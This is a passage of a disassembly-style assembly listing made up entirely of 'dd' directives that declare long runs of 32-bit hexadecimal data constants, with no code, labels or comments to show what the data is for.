		dd 3439B1C9h, 0A6287D00h, 3659C564h, 3C05B770h,	0C9F6225Fh
		dd 45DF8C80h, 14620928h, 0C880699Eh, 0D9501043h, 46242E0Fh
		dd 87DE3CBh, 0EEC4D07Fh, 791019Ch, 95C3801Fh, 297AF4F8h
		dd 5496C00h, 474B7496h,	0D023000Fh, 0C637D36Fh,	0F9001561h
		dd 0B9ECE987h, 9F7F88h,	1B85FDB7h, 1E2D724Ch, 0C0F1A5Eh
		dd 403128A0h, 0A5E30302h, 9001D300h, 8AFA13AFh,	0B35A00A8h
		dd 3B260D31h, 1FEE3235h, 0EFE49D14h, 58593D98h,	7899006Ah
		dd 0B6D86EDAh, 1833009Bh, 58EF5AF8h, 0B3011634h, 924F8975h
		dd 54C4158Dh, 0CF5607D0h, 129B140Fh, 0C07D5CE8h, 4E78202h
		dd 0ED184A4Fh, 69C0ABFCh, 206B552h, 0ADC263CFh,	0DC708731h
		dd 886FE000h, 6AD6BAEAh, 0ABF400E3h, 6D4CAE78h,	39FAFF64h
		dd 0D8B17A02h, 0E81FA871h, 504178h, 0C4C111D1h,	8DE9E644h
		dd 0CF3463Ch, 10E5D519h, 1E7000F7h, 18770CFCh, 150052EEh
		dd 0BFB855FDh, 7CF7943h, 0A36547C3h, 0FF69914Fh, 0FB4AD83Fh
		dd 11B43312h, 109BD049h, 0A93170h, 0D64434ADh, 124FD13Dh
		dd 3A0F81FCh, 77AC630Fh, 0E7A98802h, 77F6A0h, 0E847232Ah
		dd 0AA0B686Bh, 877F49E0h, 8DA0D7A2h, 4865BFh, 0DF63B4A0h
		dd 95B70D3Dh, 4E78A900h, 13FDBAB1h, 26963877h, 0C076DC1Dh
		dd 1BC3AC38h, 6900EBC8h, 922B1430h, 127DD13Eh, 0A1CA19h
		dd 0ED79B350h, 0EC003F20h, 9F24CD5Fh, 774C16Dh,	0A85904ACh
		dd 0FCA1809Bh, 16001E37h, 0B3A22C77h, 0EA0AB3Dh, 0A5EFDA86h
		dd 3CF428A0h, 5202DB83h, 0C14C9645h, 0FFF6E05Eh, 5CEC007Ah
		dd 0B148DFACh, 2B007937h, 0D97EF928h, 97B63Dh, 25E150BBh
		dd 5A90954Eh, 0E82EAE00h, 52F170A0h, 0FB7998h, 0B8BCB185h
		dd 0A650380h, 61C90203h, 0F8434B1Bh, 2D927Bh, 0D45AB8BDh
		dd 0D370C65h, 0D6DD2E02h, 80E22A98h, 3609B9D0h,	0C87D00BDh
		dd 8822027Ch, 0E30743BBh, 9E860144h, 85CA4500h,	0D4FB00F1h
		dd 133A117Dh, 7B18D837h, 98ACF753h, 754E70BAh, 0F4577BFDh
		dd 4F597F9Dh, 0FF08203Fh, 7A00F343h, 39ACDBFBh,	7B60DF19h
		dd 4EFD0004h, 61EC9FEBh, 593C7DF4h, 96CF80BDh, 706EF664h
		dd 3F6098A4h, 19053E77h, 0C08DED08h, 8B76A0D0h,	8496F53Ah
		dd 5ECA41B8h, 9AF2F080h, 29E0C0E4h, 0ED4DC65Ah,	920D181Ch
		dd 0D34BD742h, 16AC8053h, 3D5510Eh, 8B81F559h, 0C9A0ED85h
		dd 4700A7C3h, 867030Ch,	1D2A484Ch, 0CC8D8FBFh, 0C9E052C8h
		dd 0A4CEE224h, 9CA0BC65h, 0DA4C9Eh, 0A0A3EA00h,	929CA849h
		dd 73063CF4h, 298EDBB8h, 0F0983D28h, 40246F9Ch,	531D0D7Ah
		dd 98C6F3C4h, 3894AB48h, 4302851Bh, 0AC9339ADh,	21E0C340h
		dd 0FA45ED00h, 0B7023061h, 0C36F00A0h, 82AFDF7Bh, 0EC002136h
		dd 0C13DFB3Eh, 1755E997h, 0AC5DDDh, 0DC681705h,	2000C462h
		dd 9E73AA25h, 984EAF4Ah, 24B51338h, 21F03264h, 2A282CC8h
		dd 113E8D00h, 0D618B339h, 53F40273h, 51CECC5Bh,	16660CC0h
		dd 0FABB71Eh, 0ED6001FFh, 0AA213597h, 118C442Ah, 644A83BEh
		dd 0C02799C1h, 0E80059B3h, 0A617F33Fh, 3ADC3581h, 6B80C76Ch
		dd 0B8ECCA2Fh, 0D125D026h, 45FC002Dh, 0B22BC73Ah, 0E40E00ECh
		dd 49B5E884h, 0C014ED8h, 0DF2FF3B0h, 0A4F4EE7Eh, 3C6C0028h
		dd 3FE73614h, 220094FFh, 0E657B6ABh, 601CF541h,	7A260ADh
		dd 7117C03Ch, 400684Ah,	7A67364Fh, 8BC63BCAh, 65939080h
		dd 10A69BAh, 0B304B4E6h, 0E4A8232Fh, 0E50070BCh, 0A53AFC66h
		dd 0A600C467h, 17532C58h, 28F25Fh, 0D309D045h, 0E15DFC08h
		dd 0AB558002h, 0C053115Ah, 3EC64Ch, 5817527Bh, 0E416D1DBh
		dd 0AC084Ch, 67D936D3h,	88353DBFh, 4D88E204h, 2C0097AAh
		dd 77695B0h, 0DFE81904h, 68C0C4B6h, 26BB8991h, 5A68C30h
		dd 90483575h, 41AFFFF4h, 0A7175FE8h, 805D9DEAh,	16128D82h
		dd 4084562Bh, 0A17CD754h, 8A859001h, 1D4B089Dh,	4727C8h
		dd 0E0817DFCh, 957F1E04h, 25561300h, 0E12852D4h, 0A9FD0072h
		dd 86CB2F23h, 0F0A0B57h, 0B8B76468h, 48739339h,	0A9403000h
		dd 4FF37Dh, 69CB83FFh, 0F066AEDCh, 1F5D38h, 54849312h
		dd 13AC837h, 7C83BCE8h,	0D40F0AD8h, 0D20B3F16h,	81684C1Eh
		dd 2A45248h, 74B8E8h, 3570C120h, 9590AD72h, 3C00A075h
		dd 0E21550D0h, 5F3673h,	0EAFD99F0h, 3146D2D4h, 6C04DB00h
		dd 0EC343D50h, 0DF4A15CFh, 5F01F0BBh, 0A694A32Ah, 64C9C3E1h
		dd 0DEC2C03Ch, 6251CCA1h, 2C2C49F0h, 0EC40F0DAh, 256DE58h
		dd 3D229CA9h, 9456545Ah, 0CF7B9105h, 8FBA5FC0h,	17F8B22Fh
		dd 9555807h, 38834DFFh,	91A0AAF1h, 0AE03B8D3h, 0B3366D14h
		dd 0CA63E81Ch, 1F99030Bh, 213B72D0h, 745009B0h,	5309E8FEh
		dd 81F63ECBh, 0E1B68019h, 7C811C23h, 80E58C93h,	670723F4h
		dd 615E1Ch, 4BF41D36h, 0DEFA1754h, 0BA007EB8h, 0C481E888h
		dd 0DDF525h, 0F284027h,	0FB564C74h, 5C9F2F0Ah, 9E0988E1h
		dd 0CAD8C322h, 0E0334294h, 725832Ch, 9756B801h,	49EB7009h
		dd 2C03C562h, 48FE51DDh, 6F280075h, 3811B51Fh, 0C3007C79h
		dd 18C1A94h, 5C6D655h, 0D91BE48h, 0DA23C0FEh, 0C98A73Fh
		dd 0EFB04605h, 0EC830533h, 0F0948364h, 173DB66h, 0CD9C148Eh
		dd 8F4D8D46h, 207693D8h, 0FCA7FB2Ch, 4C3C32C3h,	0A4601E18h
		dd 0B701CAA9h, 0C6D74A91h, 65605CEBh, 6B61032Bh, 42C3C532h
		dd 4E2F72C8h, 6895C425h, 0B061F58h, 62ACB48Ah, 0FA00684Ch
		dd 0C35EE573h, 0FDB649h, 0ACD05CC8h, 0F19576D5h, 0B0042C79h
		dd 83DC2EF2h, 2E8075C4h, 1A522E3h, 0D7364BBFh, 20EA4160h
		dd 511AA40h, 910302CAh,	55D54DD1h, 40961CADh, 0DB5AD450h
		dd 9E25192Ch, 5340B96h,	0E8C01479h, 123B520Ah, 2093B00Fh
		dd 4692BF44h, 70151804h, 40804F30h, 80576B31h, 0C102699Fh
		dd 0FD174C2Bh, 232CC08Bh
		dd 48E5261Ch, 97A4CCh, 0CF303A7Ah, 0AE0034B3h, 0F85725B7h
		dd 9413EA6Ch, 4FC04E68h, 0F76F438h, 70F8D201h, 6F77F325h
		dd 19FF2D4h, 0E91763E3h, 60D0658Dh, 853802A8h, 0BE69000Ah
		dd 4F28116Ah, 0A8F400C4h, 94EA1B2Ch, 934ACC4Bh,	99DCFFC6h
		dd 0D14D8968h, 5C0100F8h, 2ECCDBCh, 0FE60FD8Ah,	81CCBEBDh
		dd 0D905C5F7h, 7082849h, 0AA4E9967h, 4FA082E9h,	0A2DD2160h
		dd 0B56824D3h, 5EB12D07h, 0B0ACD239h, 6174DBh, 84D6473Eh
		dd 5EA837Ch, 9996EE00h,	0E46754A5h, 0E49097D4h,	1648743Ch
		dd 0F7A01C8h, 15E4110Dh, 82011083h, 0A7EA5E38h,	0DE7C08C0h
		dd 0B1B03109h, 2094C081h, 848D25FCh, 0AC1DF021h, 8C685Fh
		dd 0DE4A023Dh, 1C87568Dh, 4041F282h, 9C3AA112h,	7302EE6Fh
		dd 858E1443h, 4F40C084h, 70F998C7h, 78591718h, 0D65400F3h
		dd 89DF1E99h, 4D3DA501h, 62BA87Dh, 7E274463h, 0E3843405h
		dd 0CD911F0Ch, 0D76C9D41h, 12F00934h, 0B22CBA77h, 1042E8h
		dd 43FE513h, 77AE87Fh, 0AE2FDA78h, 0D510C068h, 571CCAFEh
		dd 7014F14h, 23024D91h,	3623530h, 76152EADh, 0B5DB2597h
		dd 7090EDD9h, 79F21F94h, 0A69C5907h, 4DD080D3h,	0A158C2h
		dd 85F45275h, 49E3D2Bh,	0FD2C2709h, 0BE74C146h,	2B4402Fh
		dd 4044D88Ch, 199CD07h,	0C974107Fh, 0A60A5FC0h,	0E10F3DCBh
		dd 0A14B9780h, 5F8AD83Fh, 0CD19FE03h, 0A85EC524h, 261A6C3h
		dd 6826B7E8h, 0C466856Ah, 9CAAF928h, 0EE21BE03h, 0B084A76Eh
		dd 739B28h, 0B7DB77D7h,	0C1BFFC9Ah, 81341600h, 3B797BCDh
		dd 0CF3A0018h, 43F95178h, 0CA005C74h, 9DBE4F71h, 5C18DC2Ah
		dd 7A77A904h, 5C639824h, 80160B9h, 7A5B136Ah, 0D4AC7552h
		dd 0BC01B12Ch, 0FF4BD455h, 37C43F0Eh, 9F2700DAh, 615E862h
		dd 0B3009781h, 0EBF5822Bh, 73C1B02h, 9EF4FD04h,	699680ADh
		dd 8B2E2EF8h, 9D80545Ah, 0ABBA154Dh, 272B260Eh,	31F9E50h
		dd 0A01C4CD8h, 0B8144580h, 0A3B0609h, 0C824E0AEh, 0F62600FAh
		dd 0EB1A25C2h, 13030ECFh, 0C17E6E2h, 3B5FF0DDh,	0E3DB18EDh
		dd 52E50272h, 0CF00CC92h, 53634ED0h, 0F92060Dh,	21D3CED5h
		dd 0D6201014h, 0EB698340h, 4189FAD0h, 1800E374h, 0FC903802h
		dd 437960h, 5A1861C1h, 75AB45C9h, 99E61600h, 7D522A8h
		dd 3AEE004Eh, 0DBB0555Bh, 6C1FA71Dh, 0C86E476h,	5488612Eh
		dd 0F108884Eh, 0D4B8AAh, 0DBC43E72h, 82FB5A2Eh,	5F080D01h
		dd 0B469ED13h, 50D343FCh, 355C23h, 4BFD56A8h, 0C2384239h
		dd 0E2BD5B03h, 8369AE4Fh, 0C3E0B83Bh, 6580060h,	0D488DB89h
		dd 2AC0AB7Dh, 0CE1A137Fh, 0FB8A00E6h, 6E369E1Eh, 0A548AA4Bh
		dd 80743FA6h, 10C08551h, 97E1C8h, 0E9BEBD37h, 95220A87h
		dd 91DAA90h, 9900F4A6h,	3DDBE681h, 9D011C96h, 214E8091h
		dd 0C12D851Ah, 0ED77671Dh, 9BC60F80h, 95EB1Ch, 0C7CD022Bh
		dd 0D3010CA1h, 1EA92607h, 2A20A07Ch, 0D17D6h, 2D4CC422h
		dd 2B7DC880h, 0E70291E0h, 359AF69Fh, 3C9CA06Ch,	0A48E03h
		dd 729BDD40h, 8860F005h, 0EB0C3606h, 72950D1h, 8A9EA1F8h
		dd 9B0029ECh, 5BA50223h, 1C906E4Eh, 0C696DDh, 6AC406ECh
		dd 4FC3E574h, 3CBE5D58h, 0BFED00A4h, 0DF465BD7h, 320D3ACAh
		dd 0FC08C230h, 690DB1CFh, 3044D7A1h, 55FFD0h, 0D5097294h
		dd 54735322h, 5D0F6400h, 5E4FB65Ah, 909E1E7Ah, 7211F0D4h
		dd 0CA011D9Bh, 0F8533359h, 0EBFCE3DDh, 4890C00Eh, 44A59608h
		dd 4EE79407h, 3E90921Ch, 9FB69E8h, 0DF7BB2D7h, 78687C12h
		dd 57018DAFh, 5DBC8932h, 4AD06DEFh, 0B1BF1DF6h,	3E2E2661h
		dd 0B8AFB1Fh, 4103F909h, 0B2E3E45Eh, 0D1A13AC1h, 0BF10804Dh
		dd 7EC02C5Ch, 78300061h, 9057F375h, 6EEA4EBAh, 3215B107h
		dd 0DEB0BB7Fh, 0F05DAF80h, 59C1076Fh, 83C08AE2h, 30A68B12h
		dd 17BF890Fh, 80B98EF5h, 4AB69432h, 6E8602F8h, 6D74FA62h
		dd 43D6492h, 9709C177h,	35108CFAh, 76619FCh, 2D7B2113h
		dd 6871701Ah, 0F0007530h, 19C71BAFh, 905C43h, 0DEEB6DD7h
		dd 0DFFCEFF6h, 55D1A118h, 9D3259h, 8BDB460Fh, 0A3D3ED72h
		dd 214108CDh, 25C895F9h, 0D240CF2h, 0C11944D2h,	0FE41AA00h
		dd 0E66A3047h, 38B10029h, 6EC690C8h, 0F505EB1Ch, 0E42E2D85h
		dd 0DFF9C8C1h, 0A3468006h, 480F9B02h, 4D317BDBh, 0F931110h
		dd 0D6DA5400h, 446C1386h, 0D5E10042h, 0BA129A3Ch, 0F8144EE2h
		dd 8E94B9CEh, 32079056h, 0F0C9020Fh, 34C8DE28h,	64D7E106h
		dd 3838242Ch, 818E9B8h,	476E3150h, 0D599950Ch, 66CDB85Ch
		dd 2162082Ch, 953F941Fh, 0C0EE350Ah, 89C9DA80h,	0E06908F1h
		dd 0CF74004Bh, 51916CB4h, 39C05409h, 0C95D4A3Ah, 118F80Fh
		dd 4E0D92B9h, 9D2BD1EBh, 95065349h, 111EC36h, 0AA1F0709h
		dd 0F8C3F672h, 0C47E0E6Ah, 2E2180E1h, 3F1A1EFFh, 4D890526h
		dd 0C8CF7Eh, 466491F0h,	0E27CBD60h, 0EAAE81C0h,	0CE709C9Fh
		dd 71E06798h, 4A544856h, 0A6D3B0Ah, 0AE0288E9h,	0A0E8D2F8h
		dd 0B6CE80A4h, 8810FD3h, 350579B8h, 9258482Fh, 0AD1F08C0h
		dd 22DE4672h, 7C2F7004h, 8DF80F1Fh, 0CCC0FF9Ah,	0CF72AF36h
		dd 985FB031h, 0B1805808h, 0D5965A1Dh, 0D90010EAh, 0E432D274h
		dd 61D60A66h, 0F344B851h, 38A998DFh, 0D3E009h, 0F778CF6Dh
		dd 0C2205DEFh, 3569DF0Fh, 0DBE01866h, 7363306Dh, 0B8BFFC20h
		dd 5569E808h, 0A5CF825Ah, 0A481D30Bh, 83567452h, 9E1FBE8h
		dd 6C780F57h, 0B0DB40A7h, 0FAF6C2D8h, 28095F4Fh, 37047886h
		dd 802054ECh, 0DE7A3E4Eh, 0A9C0A1C0h, 486907ACh, 611900BBh
		dd 80D20893h, 0ACA1A521h, 0F4203347h, 3E80923Eh, 910E6A79h
		dd 46C00D31h, 0B26B258Ah, 7C8E503h, 0FF223E7Eh,	0BB553B63h
		dd 77C800F3h, 0A3676AA9h, 80063A0Dh, 0E3F77DD7h, 0FBDB50D8h
		dd 0D828D0F8h, 7FECCF0Ch, 0D1F269B0h, 0A7E85B63h, 0F2810126h
		dd 7BCB1D5Fh, 0D5A980D3h, 70E6F6ABh, 0F1DD00FDh, 694CF9B8h
		dd 40006364h, 0F81F0EB1h, 49358166h, 0D10000F7h, 0B30D3726h
		dd 1B00BDD4h, 33EA3CEDh, 7DDE88A2h, 982E50C2h, 0A5048C3Ah
		dd 9B690BACh, 0A120D762h, 58AC9Dh, 708EAA9Ah, 53754D6Ch
		dd 1EBA3D18h, 1896B4E0h, 6092DF6Ah, 0FD6ED2EBh,	1CF4B391h
		dd 0A46F0032h, 0B9D43CB3h, 9500A621h, 85DA2CFh,	0E8C21FADh
		dd 8008B655h, 27D292C9h, 80300270h, 6ED702A4h, 820D0746h
		dd 0C0DFFF05h, 0E1D0F7DEh, 94BAA9DCh, 4AC55EDh,	4A781274h
		dd 0C3F82480h, 0E0512694h, 2A91190h, 6B5C5066h,	61592240h
		dd 358CDC5Eh, 4C1F4h, 87B433D8h, 0F102F944h, 9EEB1D00h
		dd 1866F049h, 27DD024Fh, 6D5979AEh, 246E4D10h, 404E643h
		dd 860A68F2h, 0E5149820h, 28B066F3h, 3946C436h,	0AACA602h
		dd 0D5319369h, 0AC9EA010h, 0D63CF703h, 46C32BA5h, 0B3009C60h
		dd 1506898Eh, 9300218h,	0D02C1961h, 0E23009Bh, 0AFDEAAB1h
		dd 0EF00424Ah, 6486DD62h, 0CEC2E836h, 5D0A6A8h,	9EF6CF76h
		dd 0B8549C10h, 4008CD9h, 1F3D0E58h, 60864D8Eh, 1069B16Fh
		dd 5C98EC4Bh, 0DDE27604h, 0C2669Fh, 2746C8Fh, 72A81F0Dh
		dd 0FE19C406h, 1F052C10h, 0DB304902h, 4116866Ch, 48918E44h
		dd 1F0A8090h, 8C0E72A7h, 22910E1h, 824F0A1Fh, 8AC32D7h
		dd 0DB04D8FBh, 0F0D44264h, 330360C2h, 0D59895E8h, 66223446h
		dd 953A8D00h, 0E3AACBD9h, 6DD53A9Bh, 7B150C4Dh,	250794E2h
		dd 0D0AF72E7h, 800ACE16h
		dd 66A7B40Eh, 30A883ADh, 6074AA8Ch, 37A5D533h, 6040CC87h
		dd 0D8F86B21h, 949EA63h, 89793059h, 969831C0h, 0C5FDB800h
		dd 4E85C014h, 71E0AC3Fh, 48A5B0ACh, 0A2E0F8C3h,	1200ACA4h
		dd 0B03DAB1Bh, 5CAEF7B1h, 0D2A1CD3h, 59F90D9Ch,	2791E63h
		dd 44300590h, 0E92DB095h, 8F81F063h, 43AB953Ch,	59CA38Ch
		dd 8C817FC2h, 8110DFD1h, 0F30CB3D8h, 79F0358Fh,	6DBB00B2h
		dd 0E303AF91h, 0D71671DEh, 0B85865A0h, 12C93AC8h, 14C31D1h
		dd 2FF23964h, 1DB430A5h, 0F3537C0Eh, 0A20D6E68h, 40F1BE5Dh
		dd 0E26DD91Ch, 0B158B090h, 184CD19Ch, 0F66400E8h, 0D79BFC2Ah
		dd 5D67D1AEh, 8CC00E21h, 4A280Dh, 0DF40BBFAh, 0CA7F26Dh
		dd 97B85B65h, 984F051h,	1D1EFAF3h, 80021164h, 47132127h
		dd 66692898h, 51492084h, 482F7F4Ah, 6E008C79h, 0E212A0ADh
		dd 488575F0h, 0A4F3EA3h, 11FCC4ECh, 95418602h, 0FC2C56D0h
		dd 8E186122h, 0F80C9539h, 1FDC99DBh, 58A0FDB1h,	2CA7760Bh
		dd 11EC1F5Ch, 2E6780D6h, 16306FA7h, 37F8340Eh, 91D14110h
		dd 53960259h, 795170D0h, 17CE193Ch, 0F44568D7h,	7C86CB61h
		dd 0EB420629h, 10532CD3h, 644E487h, 5708D260h, 0B105C37Bh
		dd 5B28C0Bh, 0F71628C1h, 0D17CC104h, 540912D7h,	2B4980A4h
		dd 0C4BC7CAEh, 791FF67Ch, 0D7CF86B9h, 0D18580A9h, 339050FFh
		dd 0BA71F235h, 7D73C8D0h, 0B213AC7Fh, 183AC2D7h, 9F03D623h
		dd 0B8C35963h, 4BF836CFh, 92A85DDCh, 0C80409D7h, 61041804h
		dd 0D5C49543h, 68448C3Ch, 0E3B7F90h, 0D93DA045h, 23B82500h
		dd 0ACBAC635h, 0C9C0F1EAh, 0EC386EDFh, 94C02597h, 49675441h
		dd 90638Ch, 0E606AA49h,	0F5E1BEh, 3375CCBBh, 8FE5DD16h
		dd 0EE80FCB1h, 151A3CACh, 9FD40342h, 0DEF63087h, 0E7C8A2FCh
		dd 3292C008h, 0DA4C17ABh, 10E8D034h, 4B121CF6h,	0A44808B9h
		dd 470F9AC0h, 227346DBh, 92100040h, 2676360Fh, 0E300A7AFh
		dd 0F03FE53Dh, 98751F3Ah, 0BDEA1274h, 49781347h, 481D72B8h
		dd 9182FD11h, 0E891CFF8h, 0A2A744F5h, 3003E2A4h, 7F0FFAF1h
		dd 612C5D69h, 33D201C8h, 6C6AA08Ch, 5206EA28h, 5112D0EBh
		dd 0C7720910h, 0B4005E70h, 3F320A6Dh, 0B7E230C3h, 0F040E508h
		dd 0FCE79616h, 1FDC002Bh, 4709CE43h, 9CF8BB84h,	6AB51A03h
		dd 2C72C3E6h, 8345E31h,	90254DC4h, 7A06920h, 2711FF85h
		dd 1C30CA07h, 0F61E7094h, 9B0017C1h, 54AF8E41h,	93C42ADh
		dd 2791D61h, 590781FFh,	398D4F6Ah, 80181A5Bh, 0A8980C08h
		dd 0C6B15941h, 1880F228h, 7C1808DBh, 4FD22A20h,	1DB107B4h
		dd 95EEE853h, 0C8B08BB9h, 0EC71C061h, 9C25D719h, 0B53CA27Ah
		dd 0D3F80234h, 44FC5222h, 6B5B28D0h, 0EAF20B40h, 0C00CBF03h
		dd 60381B1h, 0AD7FC9C5h, 35C8154Ah, 1C39F0FBh, 0CCFEAA00h
		dd 854BCBD4h, 0CE493Ch,	67E5B1C0h, 296609Bh, 0C44E72A6h
		dd 0E921735Bh, 89BC6659h, 3C3A4625h, 0D8C44445h, 0AABFF860h
		dd 0A86F302Eh, 8185740Eh, 0C9EF7675h, 0B9264029h, 64465E44h
		dd 6F60AC00h, 0EA09C8F2h, 740AAC92h, 0B0574CBFh, 2D4F8105h
		dd 43FF8C88h, 95460207h, 3154D59Ch, 3E911069h, 3F930095h
		dd 0E1D7EA81h, 0CCFA5B3Bh, 9457D22Ah, 0E3FDFE00h, 95C0DF02h
		dd 75A500E6h, 0F9572112h, 418399Eh, 0EB08A090h,	0A43207Dh
		dd 0EF40249Eh, 38062E03h, 308121AEh, 624F1C9Dh,	0EE78E06Ch
		dd 50C58724h, 0C83544h,	57050028h, 0DB767998h, 823DC1F0h
		dd 6301F754h, 0FD6FC45Eh, 70979768h, 8AC1269h, 98C09E64h
		dd 46DB410Fh, 4B22A3h, 780F9012h, 0CF4544B6h, 6408C924h
		dd 0FA267540h, 0D34700A0h, 57317C53h, 273CC885h, 1CA92E8Ah
		dd 5808BD16h, 0ACA8C03Bh, 0A34F690Ch, 9E002Ch, 9D7EACA0h
		dd 6CDD4921h, 0C4051226h, 0D34FA300h, 2ACAB29h,	85D58109h
		dd 1C40BEEFh, 8A373CD7h, 6DC32817h, 1618A6DBh, 20D9EAB7h
		dd 9DC4944h, 9A093898h,	414A8974h, 0D119119Ch, 144B09EAh
		dd 57C06388h, 198D4F97h, 59F8D6EAh, 3829D2h, 95C86926h
		dd 9C6AF63h, 0BB388FD6h, 4EE5F804h, 6A515809h, 0F35609E8h
		dd 548478FDh, 822098AEh, 0A4AFD73Fh, 511124EAh,	1241210Eh
		dd 3D0FF6A3h, 22282858h, 7A0100F3h, 785B56C4h, 707A94CFh
		dd 97B9502Dh, 80651100h, 39E2BC2Fh, 74672C0Fh, 8B7A1628h
		dd 0C0FDC8E0h, 4C7EA10h, 6D47B48h, 59765B90h, 8C48F5D1h
		dd 0C21F010Dh, 82B13280h, 245731A9h, 4C9B4A58h,	0D9DA6902h
		dd 0D2006154h, 0F0052443h, 80C9DBh, 0D85B372Ah,	7842288Ch
		dd 0E8380C05h, 0BC200882h, 27D2A52Ch, 842931B0h, 43E1B084h
		dd 0A69A0269h, 5B940460h, 83E8CE65h, 0D7A1AC3Ch, 2683CF4h
		dd 0E1DE0A5Fh, 0DF60C046h, 0A97F0EE5h, 6E2534D7h, 0CF2CC3BDh
		dd 64CE4D80h, 61C82F30h, 4BF7C3D0h, 36980402h, 4880B390h
		dd 64502690h, 73E3C800h, 63D26589h, 926D69D9h, 512352D0h
		dd 409A7500h, 5DFD2024h, 377EE67h, 7FFC04E4h, 1EC81BB2h
		dd 0AE00921Ch, 21249527h, 74DCB5D9h, 0A0BE0005h, 7DBAB4E7h
		dd 0C11E1D81h, 1E07E8E5h, 6AC09013h, 0A2A965h, 377498E7h
		dd 1FAE9A1Ch, 14DF3800h, 1161BB44h, 93AA3DD8h, 0DD4F5F80h
		dd 8224A920h, 475B7305h, 0A08421D5h, 912BCF2h, 0ACF8E0AAh
		dd 465EACB6h, 0D5301F03h, 256E3A83h, 5601E0B4h,	42A8B223h
		dd 17F527DBh, 80639188h, 81B4BE11h, 4490B07Fh, 5D3F3B50h
		dd 24085BBAh, 0E4EAC774h, 72D21F41h, 0D7C898CBh, 5F84E4C0h
		dd 39C70789h, 7859ED83h, 0EC45E080h, 5A7CBCCFh,	23043A91h
		dd 0C45F00D8h, 39B4D6BBh, 75948CB9h, 5CDB0470h,	0E4091B1Ah
		dd 80AC61h, 1819F982h, 106D9CBFh, 0EB272F21h, 0EE7CA07Bh
		dd 0E6F2CF3h, 6D93242h,	0B1F9CDE0h, 9A5B8B7Ch, 5F50A420h
		dd 0E17BF1h, 2695BB58h,	828EE096h, 0DCBCFC00h, 81D53718h
		dd 0B5D127DEh, 0F2E51000h, 0F131DA66h, 0BF1A1024h, 812068F2h
		dd 495271E4h, 0C80208Eh, 0FE72A91Fh, 2BFF448Ch,	881F0402h
		dd 674CA7A8h, 60684488h, 1FC09D34h, 270C9169h, 0C244C896h
		dd 83743EAEh, 2F75D10Ch, 22D4AC0h, 0EB70A009h, 0AACE80h
		dd 0B50F2446h, 0CB32C0A5h, 268DE3Ch, 2EECD5CCh,	3814FA09h
		dd 6301EF24h, 6E7D42E3h, 68B371FFh, 803A0164h, 6D3B59FDh
		dd 1FA878E6h, 40F239ADh, 0E11E6BF4h, 13EA3B4h, 18A84DB3h
		dd 28B9F535h, 7344001Dh, 35B0125h, 42B874AFh, 0A8DB893h
		dd 0A420C906h, 0B60912E0h, 336CCD33h, 2B8B0080h, 0EDCA8691h
		dd 0B20A06D9h, 2871DE0Dh, 7FFC6A48h, 1F0B268Ch,	8B1613F5h
		dd 32A02C8h, 0C0BC4A1Fh, 9870F65h, 839C319Fh, 0F3774418h
		dd 210067F6h, 12A8A714h, 117603Ch, 3BCEF2BDh, 40FCAE35h
		dd 4B6E148Ch, 0A2901CBAh, 0EB6DD209h, 4E406846h, 26CF5EB0h
		dd 865C6158h, 8CD8BC70h, 95E4D901h, 0CFEB1362h,	12A4412Ah
		dd 344FA89Fh, 0FA200A20h, 0DCC0B43Ah, 7B27D50Ch, 7379D0h
		dd 870B39EEh, 144F78E8h, 0A3BF0803h, 0A8EFB44Bh, 9DE1AE30h
		dd 74C4C088h, 141CFF46h, 0B4804130h, 3C9790A8h,	0A67E8100h
		dd 0D0D3B760h, 114AC9B6h, 5556559h, 0CD139E4Dh,	676ABC02h
		dd 48F444D2h, 2BCE453h,	922D018Ch, 0EB6C751Bh, 0BC542C1Ch
		dd 0E30E8CD9h, 7C35788Dh, 536F5C85h, 8066F841h,	90326B5Bh
		dd 205E5913h, 0CAA7B49Ch, 54ADD205h, 0C0A2E384h, 47306AF2h
		dd 0D4160056h, 5054DF96h
		dd 7D24D65Ch, 55854CABh, 2C2BB91Eh, 6B006923h, 9DC91EA8h
		dd 357D2CCCh, 0B0902F3Dh, 845CF7AEh, 480A004Ch,	82954531h
		dd 0D34D005Eh, 3A429F9Ah, 6612447Eh, 8C8BB952h,	5AC16488h
		dd 0DC34BE9Ah, 12464079h, 8310A711h, 0E097F927h, 8880FE91h
		dd 0B26CDB19h, 4E40148h, 0C617A675h, 64C43812h,	8C7AEA5Eh
		dd 2E457C2Ch, 519C802Ch, 982FA149h, 0E001F7Eh, 0FC529721h
		dd 9E3929C7h, 3F710C30h, 0CF497B31h, 442B0034h,	780F79E3h
		dd 2577063h, 5D2FBFD3h,	5E403DDEh, 0F000497Dh, 0F329453Ah
		dd 9679A695h, 40465EE0h, 3FC8EE04h, 76D4A04Bh, 0CC7720Ah
		dd 3128BC66h, 0DC496AF3h, 220E1F2h, 8605839h, 0A69623F8h
		dd 5A081282h, 63D5F864h, 0AD80D9DDh, 94501827h,	6C159518h
		dd 6780D591h, 33A65611h, 0D060D65Fh, 24B7618h, 0D91C099Dh
		dd 0DCC71069h, 3D606444h, 592C05A3h, 3542A86Ah,	891848EFh
		dd 4CB7056Dh, 0C009660Ah, 5BFB6981h, 0C50028E7h, 54F4ED4Ah
		dd 0F86C0055h, 0E1C8F2EFh, 50BA3B61h, 184A770h,	57AD499Eh
		dd 0E84AC3DBh, 932C74B4h, 9A4BC096h, 66C0C030h,	75D580F7h
		dd 84DD2B28h, 81FAEE09h, 0F19C79E9h, 821804h, 0F0FE73CCh
		dd 358805A6h, 4921F961h, 2870BE6Ch, 0AD4D00D6h,	1A721BA1h
		dd 0C61A607Ah, 0B7A87416h, 485C9CA0h, 5F935369h, 3947888h
		dd 0A49151C0h, 7EB2CF72h, 0E10284C9h, 0DB4D004Ah, 8F4E4AC4h
		dd 0C06A886Ch, 38D20113h, 0CF907305h, 0DC04BD35h, 664165E7h
		dd 695219EAh, 69F01120h, 5324D53Dh, 93401164h, 0CB694881h
		dd 0A38E2863h, 9A21AC20h, 0C102C317h, 23864DDDh, 226849ECh
		dd 0B9E1C910h, 8D794162h, 2CC407h, 72776AA9h, 3C5193D8h
		dd 1E3FC700h, 0B3A5CFCEh, 0D4A797E4h, 60462F66h, 2260B076h
		dd 0A264DD40h, 0C170BA18h, 25E1FB50h, 4968835Ch, 0BA4A3569h
		dd 536048BDh, 0EFF71D74h, 0E1D28502h, 3980C0DFh, 8E615569h
		dd 56ACCF49h, 1F758841h, 0CB7C162Bh, 0C04BC890h, 0FC71DDE2h
		dd 12DE1D3Eh, 88A0BE01h, 0F89F0F76h, 0B81494C1h, 3A8CD8E8h
		dd 238D606Bh, 50D8E8CAh, 0B8A772C4h, 202A6F41h,	10B0A5CCh
